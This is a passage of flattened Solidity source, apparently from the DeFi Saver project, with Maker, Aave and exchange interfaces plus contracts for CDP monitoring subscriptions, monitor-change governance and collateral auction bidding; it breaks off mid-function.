_srcAddr, address _destAddr, uint _destAmount, bytes memory _additionalData) external payable returns(uint); function getSellRate(address _srcAddr, address _destAddr, uint _srcAmount, bytes memory _additionalData) external view returns (uint); function getBuyRate(address _srcAddr, address _destAddr, uint _srcAmount, bytes memory _additionalData) external view returns (uint); } abstract contract Flipper { function bids(uint _bidId) public virtual returns (uint256, uint256, address, uint48, uint48, address, address, uint256); function tend(uint id, uint lot, uint bid) virtual external; function dent(uint id, uint lot, uint bid) virtual external; function deal(uint id) virtual external; } abstract contract GasTokenInterface is ERC20 { function free(uint256 value) public virtual returns (bool success); function freeUpTo(uint256 value) public virtual returns (uint256 freed); function freeFrom(address from, uint256 value) public virtual returns (bool success); function freeFromUpTo(address from, uint256 value) public virtual returns (uint256 freed); } abstract contract Gem { function dec() virtual public returns (uint); function gem() virtual public returns (Gem); function join(address, uint) virtual public payable; function exit(address, uint) virtual public; function approve(address, uint) virtual public; function transfer(address, uint) virtual public returns (bool); function transferFrom(address, address, uint) virtual public returns (bool); function deposit() virtual public payable; function withdraw(uint) virtual public; function allowance(address, address) virtual public returns (uint); } abstract contract IAToken { function redeem(uint256 _amount) external virtual; function balanceOf(address _owner) external virtual view returns (uint256 balance); } abstract contract IAaveSubscription { function subscribe(uint128 _minRatio, uint128 _maxRatio, uint128 _optimalBoost, uint128 _optimalRepay, bool _boostEnabled) public virtual; function unsubscribe() public virtual; } abstract contract ICompoundSubscription { function subscribe(uint128 _minRatio, uint128 _maxRatio, uint128 _optimalBoost, uint128 _optimalRepay, bool _boostEnabled) public virtual; function unsubscribe() public virtual; } abstract contract ICompoundSubscriptions { function unsubscribe() external virtual ; } abstract contract ILendingPool { function flashLoan( address payable _receiver, address _reserve, uint _amount, bytes calldata _params) external virtual; function deposit(address _reserve, uint256 _amount, uint16 _referralCode) external virtual payable; function setUserUseReserveAsCollateral(address _reserve, bool _useAsCollateral) external virtual; function borrow(address _reserve, uint256 _amount, uint256 _interestRateMode, uint16 _referralCode) external virtual; function repay( address _reserve, uint256 _amount, address payable _onBehalfOf) external virtual payable; function swapBorrowRateMode(address _reserve) external virtual; function getReserves() external virtual view returns(address[] memory); /// @param _reserve underlying token address function getReserveData(address _reserve) external virtual view returns ( uint256 totalLiquidity, // reserve total liquidity uint256 availableLiquidity, // reserve available liquidity for borrowing uint256 totalBorrowsStable, // total amount of outstanding borrows at Stable rate uint256 totalBorrowsVariable, // total amount of outstanding borrows at Variable rate uint256 liquidityRate, // current deposit APY of the reserve for depositors, in Ray units. uint256 variableBorrowRate, // current variable rate APY of the reserve pool, in Ray units. uint256 stableBorrowRate, // current stable rate APY of the reserve pool, in Ray units. uint256 averageStableBorrowRate, // current average stable borrow rate uint256 utilizationRate, // expressed as total borrows/total liquidity. uint256 liquidityIndex, // cumulative liquidity index uint256 variableBorrowIndex, // cumulative variable borrow index address aTokenAddress, // aTokens contract address for the specific _reserve uint40 lastUpdateTimestamp // timestamp of the last update of reserve data ); /// @param _user users address function getUserAccountData(address _user) external virtual view returns ( uint256 totalLiquidityETH, // user aggregated deposits across all the reserves. In Wei uint256 totalCollateralETH, // user aggregated collateral across all the reserves. In Wei uint256 totalBorrowsETH, // user aggregated outstanding borrows across all the reserves. In Wei uint256 totalFeesETH, // user aggregated current outstanding fees in ETH. In Wei uint256 availableBorrowsETH, // user available amount to borrow in ETH uint256 currentLiquidationThreshold, // user current average liquidation threshold across all the collaterals deposited uint256 ltv, // user average Loan-to-Value between all the collaterals uint256 healthFactor // user current Health Factor ); /// @param _reserve underlying token address /// @param _user users address function getUserReserveData(address _reserve, address _user) external virtual view returns ( uint256 currentATokenBalance, // user current reserve aToken balance uint256 currentBorrowBalance, // user current reserve outstanding borrow balance uint256 principalBorrowBalance, // user balance of borrowed asset uint256 borrowRateMode, // user borrow rate mode either Stable or Variable uint256 borrowRate, // user current borrow rate APY uint256 liquidityRate, // user current earn rate on _reserve uint256 originationFee, // user outstanding loan origination fee uint256 variableBorrowIndex, // user variable cumulative index uint256 lastUpdateTimestamp, // Timestamp of the last data update bool usageAsCollateralEnabled // Whether the user's current reserve is enabled as a collateral ); function getReserveConfigurationData(address _reserve) external virtual view returns ( uint256 ltv, uint256 liquidationThreshold, uint256 liquidationBonus, address rateStrategyAddress, bool usageAsCollateralEnabled, bool borrowingEnabled, bool stableBorrowRateEnabled, bool isActive ); // ------------------ LendingPoolCoreData ------------------------ function getReserveATokenAddress(address _reserve) public virtual view returns (address); function getReserveConfiguration(address _reserve) external virtual view returns (uint256, uint256, uint256, bool); function getUserUnderlyingAssetBalance(address _reserve, address _user) public virtual view returns (uint256); function getReserveCurrentLiquidityRate(address _reserve) public virtual view returns (uint256); function getReserveCurrentVariableBorrowRate(address _reserve) public virtual view returns (uint256); function getReserveCurrentStableBorrowRate(address _reserve) public virtual view returns (uint256); function getReserveTotalLiquidity(address _reserve) public virtual view returns (uint256); function getReserveAvailableLiquidity(address _reserve) public virtual view returns (uint256); function getReserveTotalBorrowsVariable(address _reserve) public virtual view returns (uint256); // ---------------- LendingPoolDataProvider --------------------- function calculateUserGlobalData(address _user) public virtual view returns ( uint256 totalLiquidityBalanceETH, uint256 totalCollateralBalanceETH, uint256 totalBorrowBalanceETH, uint256 totalFeesETH, uint256 currentLtv, uint256 currentLiquidationThreshold, uint256 healthFactor, bool healthFactorBelowThreshold ); } abstract contract ILendingPoolAddressesProvider { function getLendingPool() public virtual view returns (address); function getLendingPoolCore() public virtual view returns (address payable); function getLendingPoolConfigurator() public virtual view returns (address); function getLendingPoolDataProvider() public virtual view returns (address); function getLendingPoolParametersProvider() public virtual view returns (address); function getTokenDistributor() public virtual view returns (address); function getFeeProvider() public virtual view returns (address); function getLendingPoolLiquidationManager() public virtual view returns (address); function getLendingPoolManager() public virtual view returns (address); function getPriceOracle() public virtual view returns (address); function getLendingRateOracle() public virtual view returns (address); } abstract contract ILoanShifter { function getLoanAmount(uint, address) public virtual returns (uint); function getUnderlyingAsset(address _addr) public view virtual returns (address); } abstract contract IMCDSubscriptions { function unsubscribe(uint256 _cdpId) external virtual ; function subscribersPos(uint256 _cdpId) external virtual returns (uint256, bool); } abstract contract IPriceOracleGetterAave { function getAssetPrice(address _asset) external virtual view returns (uint256); function getAssetsPrices(address[] calldata _assets) external virtual view returns(uint256[] memory); function getSourceOfAsset(address _asset) external virtual view returns(address); function getFallbackOracle() external virtual view returns(address); } abstract contract ITokenInterface is ERC20 { function assetBalanceOf(address _owner) public virtual view returns (uint256); function mint(address receiver, uint256 depositAmount) external virtual returns (uint256 mintAmount); function burn(address receiver, uint256 burnAmount) external virtual returns (uint256 loanAmountPaid); function tokenPrice() public virtual view returns (uint256 price); } abstract contract Join { bytes32 public ilk; function dec() virtual public view returns (uint); function gem() virtual public view returns (Gem); function join(address, uint) virtual public payable; function exit(address, uint) virtual public; } abstract contract Jug { struct Ilk { uint256 duty; uint256 rho; } mapping (bytes32 => Ilk) public ilks; function drip(bytes32) public virtual returns (uint); } abstract contract KyberNetworkProxyInterface { function maxGasPrice() external virtual view returns (uint256); function getUserCapInWei(address user) external virtual view returns (uint256); function getUserCapInTokenWei(address user, ERC20 token) external virtual view returns (uint256); function enabled() external virtual view returns (bool); function info(bytes32 id) external virtual view returns (uint256); function getExpectedRate(ERC20 src, ERC20 dest, uint256 srcQty) public virtual view returns (uint256 expectedRate, uint256 slippageRate); function tradeWithHint( ERC20 src, uint256 srcAmount, ERC20 dest, address destAddress, uint256 maxDestAmount, uint256 minConversionRate, address walletId, bytes memory hint ) public virtual payable returns (uint256); function trade( ERC20 src, uint256 srcAmount, ERC20 dest, address destAddress, uint256 maxDestAmount, uint256 minConversionRate, address walletId ) public virtual payable returns (uint256); function swapEtherToToken(ERC20 token, uint256 minConversionRate) external virtual payable returns (uint256); function swapTokenToEther(ERC20 token, uint256 tokenQty, uint256 minRate) external virtual payable returns (uint256); function swapTokenToToken(ERC20 src, uint256 srcAmount, ERC20 dest, uint256 minConversionRate) public virtual returns (uint256); } abstract contract Manager { function last(address) virtual public returns (uint); function cdpCan(address, uint, address) virtual public view returns (uint); function ilks(uint) virtual public view returns (bytes32); function owns(uint) virtual public view returns (address); function urns(uint) virtual public view returns (address); function vat() virtual public view returns (address); function open(bytes32, address) virtual public returns (uint); function give(uint, address) virtual public; function cdpAllow(uint, address, uint) virtual public; function urnAllow(address, uint) virtual public; function frob(uint, int, int) virtual public; function flux(uint, address, uint) virtual public; function move(uint, address, uint) virtual public; function exit(address, uint, address, uint) virtual public; function quit(uint, address) virtual public; function enter(address, uint) virtual public; function shift(uint, uint) virtual public; } abstract contract OasisInterface { function getBuyAmount(address tokenToBuy, address tokenToPay, uint256 amountToPay) external virtual view returns (uint256 amountBought); function getPayAmount(address tokenToPay, address tokenToBuy, uint256 amountToBuy) public virtual view returns (uint256 amountPaid); function sellAllAmount(address pay_gem, uint256 pay_amt, address buy_gem, uint256 min_fill_amount) public virtual returns (uint256 fill_amt); function buyAllAmount(address buy_gem, uint256 buy_amt, address pay_gem, uint256 max_fill_amount) public virtual returns (uint256 fill_amt); } abstract contract Osm { mapping(address => uint256) public bud; function peep() external view virtual returns (bytes32, bool); } abstract contract OsmMom { mapping (bytes32 => address) public osms; } abstract contract PipInterface { function read() public virtual returns (bytes32); } abstract contract ProxyRegistryInterface { function proxies(address _owner) public virtual view returns (address); function build(address) public virtual returns (address); } abstract contract Spotter { struct Ilk { PipInterface pip; uint256 mat; } mapping (bytes32 => Ilk) public ilks; uint256 public par; } abstract contract TokenInterface { function allowance(address, address) public virtual returns (uint256); function balanceOf(address) public virtual returns (uint256); function approve(address, uint256) public virtual; function transfer(address, uint256) public virtual returns (bool); function transferFrom(address, address, uint256) public virtual returns (bool); function deposit() public virtual payable; function withdraw(uint256) public virtual; } abstract contract UniswapExchangeInterface { function getEthToTokenInputPrice(uint256 eth_sold) external virtual view returns (uint256 tokens_bought); function getEthToTokenOutputPrice(uint256 tokens_bought) external virtual view returns (uint256 eth_sold); function getTokenToEthInputPrice(uint256 tokens_sold) external virtual view returns (uint256 eth_bought); function getTokenToEthOutputPrice(uint256 eth_bought) external virtual view returns (uint256 tokens_sold); function tokenToEthTransferInput( uint256 tokens_sold, uint256 min_eth, uint256 deadline, address recipient ) external virtual returns (uint256 eth_bought); function ethToTokenTransferInput(uint256 min_tokens, uint256 deadline, address recipient) external virtual payable returns (uint256 tokens_bought); function tokenToTokenTransferInput( uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address token_addr ) external virtual returns (uint256 tokens_bought); function ethToTokenTransferOutput( uint256 tokens_bought, uint256 deadline, address recipient ) external virtual payable returns (uint256 eth_sold); function tokenToEthTransferOutput( uint256 eth_bought, uint256 max_tokens, uint256 deadline, address recipient ) external virtual returns (uint256 tokens_sold); function tokenToTokenTransferOutput( uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address token_addr ) external virtual returns (uint256 tokens_sold); } abstract contract UniswapFactoryInterface { function getExchange(address token) external view virtual returns (address exchange); } abstract contract UniswapRouterInterface { function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external virtual returns (uint[] memory amounts); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external virtual returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external virtual returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external virtual returns (uint[] memory amounts); function getAmountsOut(uint amountIn, address[] memory path) public virtual view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] memory path) public virtual view returns (uint[] memory amounts); } abstract contract Vat { struct Urn { uint256 ink; // Locked Collateral [wad] uint256 art; // Normalised Debt [wad] } struct Ilk { uint256 Art; // Total Normalised Debt [wad] uint256 rate; // Accumulated Rates [ray] uint256 spot; // Price with Safety Margin [ray] uint256 line; // Debt Ceiling [rad] uint256 dust; // Urn Debt Floor [rad] } mapping (bytes32 => mapping (address => Urn )) public urns; mapping (bytes32 => Ilk) public ilks; mapping (bytes32 => mapping (address => uint)) public gem; // [wad] function can(address, address) virtual public view returns (uint); function dai(address) virtual public view returns (uint); function frob(bytes32, address, address, address, int, int) virtual public; function hope(address) virtual public; function move(address, address, uint) virtual public; function fork(bytes32, address, address, int, int) virtual public; } contract DefisaverLogger { event LogEvent( address indexed contractAddress, address indexed caller, string indexed logName, bytes data ); // solhint-disable-next-line func-name-mixedcase function Log(address _contract, address _caller, string memory _logName, bytes memory _data) public { emit LogEvent(_contract, _caller, _logName, _data); } } contract MCDMonitorProxyV2 is AdminAuth { uint public CHANGE_PERIOD; address public monitor; address public newMonitor; address public lastMonitor; uint public changeRequestedTimestamp; mapping(address => bool) public allowed; event MonitorChangeInitiated(address oldMonitor, address newMonitor); event MonitorChangeCanceled(); event MonitorChangeFinished(address monitor); event MonitorChangeReverted(address monitor); // if someone who is allowed become malicious, owner can't be changed modifier onlyAllowed() { require(allowed[msg.sender] || msg.sender == owner); _; } modifier onlyMonitor() { require (msg.sender == monitor); _; } constructor(uint _changePeriod) public { CHANGE_PERIOD = _changePeriod * 1 days; } /// @notice Only monitor contract is able to call execute on users proxy /// @param _owner Address of cdp owner (users DSProxy address) /// @param _saverProxy Address of MCDSaverProxy /// @param _data Data to send to MCDSaverProxy function callExecute(address _owner, address _saverProxy, bytes memory _data) public payable onlyMonitor { // execute reverts if calling specific method fails DSProxyInterface(_owner).execute{value: msg.value}(_saverProxy, _data); // return if anything left if (address(this).balance > 0) { msg.sender.transfer(address(this).balance); } } /// @notice Allowed users are able to set Monitor contract without any waiting period first time /// @param _monitor Address of Monitor contract function setMonitor(address _monitor) public onlyAllowed { require(monitor == address(0)); monitor = _monitor; } /// @notice Allowed users are able to start procedure for changing monitor /// @dev after CHANGE_PERIOD needs to call confirmNewMonitor to actually make a change /// @param _newMonitor address of new monitor function changeMonitor(address _newMonitor) public onlyAllowed { require(changeRequestedTimestamp == 0); changeRequestedTimestamp = now; lastMonitor = monitor; newMonitor = _newMonitor; emit MonitorChangeInitiated(lastMonitor, newMonitor); } /// @notice At any point allowed users are able to cancel monitor change function cancelMonitorChange() public onlyAllowed { require(changeRequestedTimestamp > 0); changeRequestedTimestamp = 0; newMonitor = address(0); emit MonitorChangeCanceled(); } /// @notice Anyone is able to confirm new monitor after CHANGE_PERIOD if process is started function confirmNewMonitor() public onlyAllowed { require((changeRequestedTimestamp + CHANGE_PERIOD) < now); require(changeRequestedTimestamp != 0); require(newMonitor != address(0)); monitor = newMonitor; newMonitor = address(0); changeRequestedTimestamp = 0; emit MonitorChangeFinished(monitor); } /// @notice Its possible to revert monitor to last used monitor function revertMonitor() public onlyAllowed { require(lastMonitor != address(0)); monitor = lastMonitor; emit MonitorChangeReverted(monitor); } /// @notice Allowed users are able to add new allowed user /// @param _user Address of user that will be allowed function addAllowed(address _user) public onlyAllowed { allowed[_user] = true; } /// @notice Allowed users are able to remove allowed user /// @dev owner is always allowed even if someone tries to remove it from allowed mapping /// @param _user Address of allowed user function removeAllowed(address _user) public onlyAllowed { allowed[_user] = false; } function setChangePeriod(uint _periodInDays) public onlyAllowed { require(_periodInDays * 1 days > CHANGE_PERIOD); CHANGE_PERIOD = _periodInDays * 1 days; } } contract MCDPriceVerifier is AdminAuth { OsmMom public osmMom = OsmMom(0x76416A4d5190d071bfed309861527431304aA14f); Manager public manager = Manager(0x5ef30b9986345249bc32d8928B7ee64DE9435E39); mapping(address => bool) public authorized; function verifyVaultNextPrice(uint _nextPrice, uint _cdpId) public view returns(bool) { require(authorized[msg.sender]); bytes32 ilk = manager.ilks(_cdpId); return verifyNextPrice(_nextPrice, ilk); } function verifyNextPrice(uint _nextPrice, bytes32 _ilk) public view returns(bool) { require(authorized[msg.sender]); address osmAddress = osmMom.osms(_ilk); uint whitelisted = Osm(osmAddress).bud(address(this)); // If contracts doesn't have access return true if (whitelisted != 1) return true; (bytes32 price, bool has) = Osm(osmAddress).peep(); return has ? uint(price) == _nextPrice : false; } function setAuthorized(address _address, bool _allowed) public onlyOwner { authorized[_address] = _allowed; } } abstract contract StaticV2 { enum Method { Boost, Repay } struct CdpHolder { uint128 minRatio; uint128 maxRatio; uint128 optimalRatioBoost; uint128 optimalRatioRepay; address owner; uint cdpId; bool boostEnabled; bool nextPriceEnabled; } struct SubPosition { uint arrPos; bool subscribed; } } contract SubscriptionsInterfaceV2 { function subscribe(uint _cdpId, uint128 _minRatio, uint128 _maxRatio, uint128 _optimalBoost, uint128 _optimalRepay, bool _boostEnabled, bool _nextPriceEnabled) external {} function unsubscribe(uint _cdpId) external {} } contract SubscriptionsProxyV2 { address public constant MONITOR_PROXY_ADDRESS = 0x7456f4218874eAe1aF8B83a64848A1B89fEB7d7C; address public constant OLD_SUBSCRIPTION = 0x83152CAA0d344a2Fd428769529e2d490A88f4393; address public constant FACTORY_ADDRESS = 0x5a15566417e6C1c9546523066500bDDBc53F88C7; function migrate(uint _cdpId, uint128 _minRatio, uint128 _maxRatio, uint128 _optimalRatioBoost, uint128 _optimalRatioRepay, bool _boostEnabled, bool _nextPriceEnabled, address _subscriptions) public { SubscriptionsInterfaceV2(OLD_SUBSCRIPTION).unsubscribe(_cdpId); subscribe(_cdpId, _minRatio, _maxRatio, _optimalRatioBoost, _optimalRatioRepay, _boostEnabled, _nextPriceEnabled, _subscriptions); } function subscribe(uint _cdpId, uint128 _minRatio, uint128 _maxRatio, uint128 _optimalRatioBoost, uint128 _optimalRatioRepay, bool _boostEnabled, bool _nextPriceEnabled, address _subscriptions) public { address currAuthority = address(DSAuth(address(this)).authority()); DSGuard guard = DSGuard(currAuthority); if (currAuthority == address(0)) { guard = DSGuardFactory(FACTORY_ADDRESS).newGuard(); DSAuth(address(this)).setAuthority(DSAuthority(address(guard))); } guard.permit(MONITOR_PROXY_ADDRESS, address(this), bytes4(keccak256("execute(address,bytes)"))); SubscriptionsInterfaceV2(_subscriptions).subscribe(_cdpId, _minRatio, _maxRatio, _optimalRatioBoost, _optimalRatioRepay, _boostEnabled, _nextPriceEnabled); } function update(uint _cdpId, uint128 _minRatio, uint128 _maxRatio, uint128 _optimalRatioBoost, uint128 _optimalRatioRepay, bool _boostEnabled, bool _nextPriceEnabled, address _subscriptions) public { SubscriptionsInterfaceV2(_subscriptions).subscribe(_cdpId, _minRatio, _maxRatio, _optimalRatioBoost, _optimalRatioRepay, _boostEnabled, _nextPriceEnabled); } function unsubscribe(uint _cdpId, address _subscriptions) public { SubscriptionsInterfaceV2(_subscriptions).unsubscribe(_cdpId); } } contract SubscriptionsV2 is AdminAuth, StaticV2 { bytes32 internal constant ETH_ILK = 0x4554482d41000000000000000000000000000000000000000000000000000000; bytes32 internal constant BAT_ILK = 0x4241542d41000000000000000000000000000000000000000000000000000000; address public constant MANAGER_ADDRESS = 0x5ef30b9986345249bc32d8928B7ee64DE9435E39; address public constant VAT_ADDRESS = 0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B; address public constant SPOTTER_ADDRESS = 0x65C79fcB50Ca1594B025960e539eD7A9a6D434A3; CdpHolder[] public subscribers; mapping (uint => SubPosition) public subscribersPos; mapping (bytes32 => uint) public minLimits; uint public changeIndex; Manager public manager = Manager(MANAGER_ADDRESS); Vat public vat = Vat(VAT_ADDRESS); Spotter public spotter = Spotter(SPOTTER_ADDRESS); MCDSaverProxy public saverProxy; event Subscribed(address indexed owner, uint cdpId); event Unsubscribed(address indexed owner, uint cdpId); event Updated(address indexed owner, uint cdpId); event ParamUpdates(address indexed owner, uint cdpId, uint128, uint128, uint128, uint128, bool boostEnabled); /// @param _saverProxy Address of the MCDSaverProxy contract constructor(address _saverProxy) public { saverProxy = MCDSaverProxy(payable(_saverProxy)); minLimits[ETH_ILK] = 1700000000000000000; minLimits[BAT_ILK] = 1700000000000000000; } /// @dev Called by the DSProxy contract which owns the CDP /// @notice Adds the users CDP in the list of subscriptions so it can be monitored /// @param _cdpId Id of the CDP /// @param _minRatio Minimum ratio below which repay is triggered /// @param _maxRatio Maximum ratio after which boost is triggered /// @param _optimalBoost Ratio amount which boost should target /// @param _optimalRepay Ratio amount which repay should target /// @param _boostEnabled Boolean determing if boost is enabled /// @param _nextPriceEnabled Boolean determing if we can use nextPrice for this cdp function subscribe(uint _cdpId, uint128 _minRatio, uint128 _maxRatio, uint128 _optimalBoost, uint128 _optimalRepay, bool _boostEnabled, bool _nextPriceEnabled) external { require(isOwner(msg.sender, _cdpId), "Must be called by Cdp owner"); // if boost is not enabled, set max ratio to max uint uint128 localMaxRatio = _boostEnabled ? _maxRatio : uint128(-1); require(checkParams(manager.ilks(_cdpId), _minRatio, localMaxRatio), "Must be correct params"); SubPosition storage subInfo = subscribersPos[_cdpId]; CdpHolder memory subscription = CdpHolder({ minRatio: _minRatio, maxRatio: localMaxRatio, optimalRatioBoost: _optimalBoost, optimalRatioRepay: _optimalRepay, owner: msg.sender, cdpId: _cdpId, boostEnabled: _boostEnabled, nextPriceEnabled: _nextPriceEnabled }); changeIndex++; if (subInfo.subscribed) { subscribers[subInfo.arrPos] = subscription; emit Updated(msg.sender, _cdpId); emit ParamUpdates(msg.sender, _cdpId, _minRatio, localMaxRatio, _optimalBoost, _optimalRepay, _boostEnabled); } else { subscribers.push(subscription); subInfo.arrPos = subscribers.length - 1; subInfo.subscribed = true; emit Subscribed(msg.sender, _cdpId); } } /// @notice Called by the users DSProxy /// @dev Owner who subscribed cancels his subscription function unsubscribe(uint _cdpId) external { require(isOwner(msg.sender, _cdpId), "Must be called by Cdp owner"); _unsubscribe(_cdpId); } /// @dev Checks if the _owner is the owner of the CDP function isOwner(address _owner, uint _cdpId) internal view returns (bool) { return getOwner(_cdpId) == _owner; } /// @dev Checks limit for minimum ratio and if minRatio is bigger than max function checkParams(bytes32 _ilk, uint128 _minRatio, uint128 _maxRatio) internal view returns (bool) { if (_minRatio < minLimits[_ilk]) { return false; } if (_minRatio > _maxRatio) { return false; } return true; } /// @dev Internal method to remove a subscriber from the list function _unsubscribe(uint _cdpId) internal { require(subscribers.length > 0, "Must have subscribers in the list"); SubPosition storage subInfo = subscribersPos[_cdpId]; require(subInfo.subscribed, "Must first be subscribed"); uint lastCdpId = subscribers[subscribers.length - 1].cdpId; SubPosition storage subInfo2 = subscribersPos[lastCdpId]; subInfo2.arrPos = subInfo.arrPos; subscribers[subInfo.arrPos] = subscribers[subscribers.length - 1]; subscribers.pop(); changeIndex++; subInfo.subscribed = false; subInfo.arrPos = 0; emit Unsubscribed(msg.sender, _cdpId); } /// @notice Returns an address that owns the CDP /// @param _cdpId Id of the CDP function getOwner(uint _cdpId) public view returns(address) { return manager.owns(_cdpId); } /// @notice Helper method for the front to get all the info about the subscribed CDP function getSubscribedInfo(uint _cdpId) public view returns(bool, uint128, uint128, uint128, uint128, address, uint coll, uint debt) { SubPosition memory subInfo = subscribersPos[_cdpId]; if (!subInfo.subscribed) return (false, 0, 0, 0, 0, address(0), 0, 0); (coll, debt) = saverProxy.getCdpInfo(manager, _cdpId, manager.ilks(_cdpId)); CdpHolder memory subscriber = subscribers[subInfo.arrPos]; return ( true, subscriber.minRatio, subscriber.maxRatio, subscriber.optimalRatioRepay, subscriber.optimalRatioBoost, subscriber.owner, coll, debt ); } function getCdpHolder(uint _cdpId) public view returns (bool subscribed, CdpHolder memory) { SubPosition memory subInfo = subscribersPos[_cdpId]; if (!subInfo.subscribed) return (false, CdpHolder(0, 0, 0, 0, address(0), 0, false, false)); CdpHolder memory subscriber = subscribers[subInfo.arrPos]; return (true, subscriber); } /// @notice Helper method for the front to get the information about the ilk of a CDP function getIlkInfo(bytes32 _ilk, uint _cdpId) public view returns(bytes32 ilk, uint art, uint rate, uint spot, uint line, uint dust, uint mat, uint par) { // send either ilk or cdpId if (_ilk == bytes32(0)) { _ilk = manager.ilks(_cdpId); } ilk = _ilk; (,mat) = spotter.ilks(_ilk); par = spotter.par(); (art, rate, spot, line, dust) = vat.ilks(_ilk); } /// @notice Helper method to return all the subscribed CDPs function getSubscribers() public view returns (CdpHolder[] memory) { return subscribers; } /// @notice Helper method to return all the subscribed CDPs function getSubscribersByPage(uint _page, uint _perPage) public view returns (CdpHolder[] memory) { CdpHolder[] memory holders = new CdpHolder[](_perPage); uint start = _page * _perPage; uint end = start + _perPage; uint count = 0; for (uint i=start; i<end; i++) { holders[count] = subscribers[i]; count++; } return holders; } ////////////// ADMIN METHODS /////////////////// /// @notice Admin function to change a min. limit for an asset function changeMinRatios(bytes32 _ilk, uint _newRatio) public onlyOwner { minLimits[_ilk] = _newRatio; } /// @notice Admin function to unsubscribe a CDP function unsubscribeByAdmin(uint _cdpId) public onlyOwner { SubPosition storage subInfo = subscribersPos[_cdpId]; if (subInfo.subscribed) { _unsubscribe(_cdpId); } } } contract BidProxy { address public constant DAI_JOIN = 0x9759A6Ac90977b93B58547b4A71c78317f391A28; address public constant VAT_ADDRESS = 0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B; address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F; function daiBid(uint _bidId, uint _amount, address _flipper) public { uint tendAmount = _amount * (10 ** 27); joinDai(_amount); (, uint lot, , , , , , ) = Flipper(_flipper).bids(_bidId); Vat(VAT_ADDRESS).hope(_flipper); Flipper(_flipper).tend(_bidId, lot, tendAmount); } function collateralBid(uint _bidId, uint _amount, address _flipper) public { (uint bid, , , , , , , ) = Flipper(_flipper).bids(_bidId); joinDai(bid / (10**27)); Vat(VAT_ADDRESS).hope(_flipper); Flipper(_flipper).dent(_bidId, _amount, bid); } function closeBid(uint _bidId, address _flipper, address _joinAddr) public { bytes32 ilk = Join(_joinAddr).ilk(); Flipper(_flipper).deal(_bidId); uint amount = Vat(VAT_ADDRESS).gem(ilk, address(this)); Vat(VAT_ADDRESS).hope(_joinAddr); Gem(_joinAddr).exit(msg.sender, amount); } function exitCollateral(address _joinAddr) public { bytes32 ilk = Join(_joinAddr).ilk(); uint amount = Vat(VAT_ADDRESS).gem(ilk, address(this)); Vat(VAT_ADDRESS).hope(_joinAddr); Gem(_joinAddr).exit(msg.sender, amount); } function exitDai() public { uint amount = Vat(VAT_ADDRESS).dai(address(this)) / (10**27); Vat(VAT_ADDRESS).hope(DAI_JOIN); Gem(DAI_JOIN).exit(msg.sender, amount); } function withdrawToken(address _token) public { uint balance = ERC20(_token).balanceOf(address(this)); ERC20(_token).transfer(msg.sender, balance); } function withdrawEth() public { uint balance = address(this).balance; msg.sender.transfer(balance); } function joinDai(uint _amount) internal { uint amountInVat = Vat(VAT_ADDRESS).dai(address(this)) / (10**27); if (_amount > amountInVat) { uint amountDiff = (_amount - amountInVat) + 1; ERC20(DAI_ADDRESS).transferFrom(msg.sender, address(this), amountDiff); ERC20(DAI_ADDRESS).approve(DAI_JOIN, amountDiff); Join(DAI_JOIN).join(address(this), amountDiff); } } } abstract contract IMCDSubscriptions { function unsubscribe(uint256 _cdpId) external virtual ; function subscribersPos(uint256 _cdpId) external virtual returns (uint256, bool); } abstract contract GemLike { function approve(address, uint256) public virtual; function transfer(address, uint256) public virtual; function transferFrom(address, address, uint256) public virtual; function deposit() public virtual payable; function withdraw(uint256) public virtual; } abstract contract ManagerLike { function cdpCan(address, uint256, address) public virtual view returns (uint256); function ilks(uint256) public virtual view returns (bytes32); function owns(uint256) public virtual view returns (address); function urns(uint256) public virtual view returns (address); function vat() public virtual view returns (address); function open(bytes32, address) public virtual returns (uint256); function give(uint256, address) public virtual; function cdpAllow(uint256, address, uint256) public virtual; function urnAllow(address, uint256) public virtual; function frob(uint256, int256, int256) public virtual; function flux(uint256, address, uint256) public virtual; function move(uint256, address, uint256) public virtual; function exit(address, uint256, address, uint256) public virtual; function quit(uint256, address) public virtual; function enter(address, uint256) public virtual; function shift(uint256, uint256) public virtual; } abstract contract VatLike { function can(address, address) public virtual view returns (uint256); function ilks(bytes32) public virtual view returns (uint256, uint256, uint256, uint256, uint256); function dai(address) public virtual view returns (uint256); function urns(bytes32, address) public virtual view returns (uint256, uint256); function frob(bytes32, address, address, address, int256, int256) public virtual; function hope(address) public virtual; function move(address, address, uint256) public virtual; } abstract contract GemJoinLike { function dec() public virtual returns (uint256); function gem() public virtual returns (GemLike); function join(address, uint256) public virtual payable; function exit(address, uint256) public virtual; } abstract contract GNTJoinLike { function bags(address) public virtual view returns (address); function make(address) public virtual returns (address); } abstract contract DaiJoinLike { function vat() public virtual returns (VatLike); function dai() public virtual returns (GemLike); function join(address, uint256) public virtual payable; function exit(address, uint256) public virtual; } abstract contract HopeLike { function hope(address) public virtual; function nope(address) public virtual; } abstract contract ProxyRegistryInterface { function build(address) public virtual returns (address); } abstract contract EndLike { function fix(bytes32) public virtual view returns (uint256); function cash(bytes32, uint256) public virtual; function free(bytes32) public virtual; function pack(uint256) public virtual; function skim(bytes32, address) public virtual; } abstract contract JugLike { function drip(bytes32) public virtual returns (uint256); } abstract contract PotLike { function pie(address) public virtual view returns (uint256); function drip() public virtual returns (uint256); function join(uint256) public virtual; function exit(uint256) public virtual; } abstract contract ProxyRegistryLike { function proxies(address) public virtual view returns (address); function build(address) public virtual returns (address); } abstract contract ProxyLike { function owner() public virtual view returns (address); } contract Common { uint256 constant RAY = 10**27; // Internal functions function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(y == 0 || (z = x * y) / y == x, "mul-overflow"); } // Public functions // solhint-disable-next-line func-name-mixedcase function daiJoin_join(address apt, address urn, uint256 wad) public { // Gets DAI from the user's wallet DaiJoinLike(apt).dai().transferFrom(msg.sender, address(this), wad); // Approves adapter to take the DAI amount 